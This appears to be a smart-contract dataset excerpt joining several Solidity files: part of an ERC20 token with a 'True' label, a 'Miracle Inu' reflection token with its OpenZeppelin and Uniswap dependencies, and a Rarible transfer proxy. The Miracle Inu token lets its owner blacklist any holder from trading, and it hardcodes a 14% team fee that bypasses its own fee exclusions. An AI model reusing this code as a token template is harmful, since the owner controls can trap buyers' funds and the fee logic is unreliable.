balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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1
]
|
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
/// TG: https://t.me/miracle_inu
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Context.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./interfaces/IUniswapV2Router02.sol";
import "./interfaces/IUniswapV2Factory.sol";
contract MiracleInu is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Miracle Inu ʕ•̫͡•ʔ";
string private constant _symbol = "MIRACLE";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 1;
uint256 private _teamFee = 10;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 1;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(2).div(5));
_marketingFunds.transfer(amount.mul(3).div(5));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(
tAmount,
_taxFee,
14
);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tTeam,
currentRate
);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
import "./IUniswapV2Router01.sol";
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
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|
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.9 <0.8.0;
import "../roles/OperatorRole.sol";
import "@rarible/exchange-interfaces/contracts/INftTransferProxy.sol";
contract TransferProxy is INftTransferProxy, Initializable, OperatorRole {
function __TransferProxy_init() external initializer {
__Ownable_init();
}
function erc721safeTransferFrom(IERC721Upgradeable token, address from, address to, uint256 tokenId) override external onlyOperator {
try token.safeTransferFrom(from, to, tokenId) {} catch {
token.transferFrom(from, to, tokenId);
}
}
function erc1155safeTransferFrom(IERC1155Upgradeable token, address from, address to, uint256 id, uint256 value, bytes calldata data) override external onlyOperator {
token.safeTransferFrom(from, to, id, value, data);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.9 <0.8.0;
import "@openzeppelin/contracts-upgradeable/access/OwnableUpgradeable.sol";
contract OperatorRole is OwnableUpgradeable {
mapping (address => bool) operators;
function __OperatorRole_init() external initializer {
__Context_init_unchained();
__Ownable_init_unchained();
}
function addOperator(address operator) external onlyOwner {
operators[operator] = true;
}
function removeOperator(address operator) external onlyOwner {
operators[operator] = false;
}
modifier onlyOperator() {
require(operators[_msgSender()], "OperatorRole: caller is not the operator");
_;
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../utils/ContextUpgradeable.sol";
import "../proxy/Initializable.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
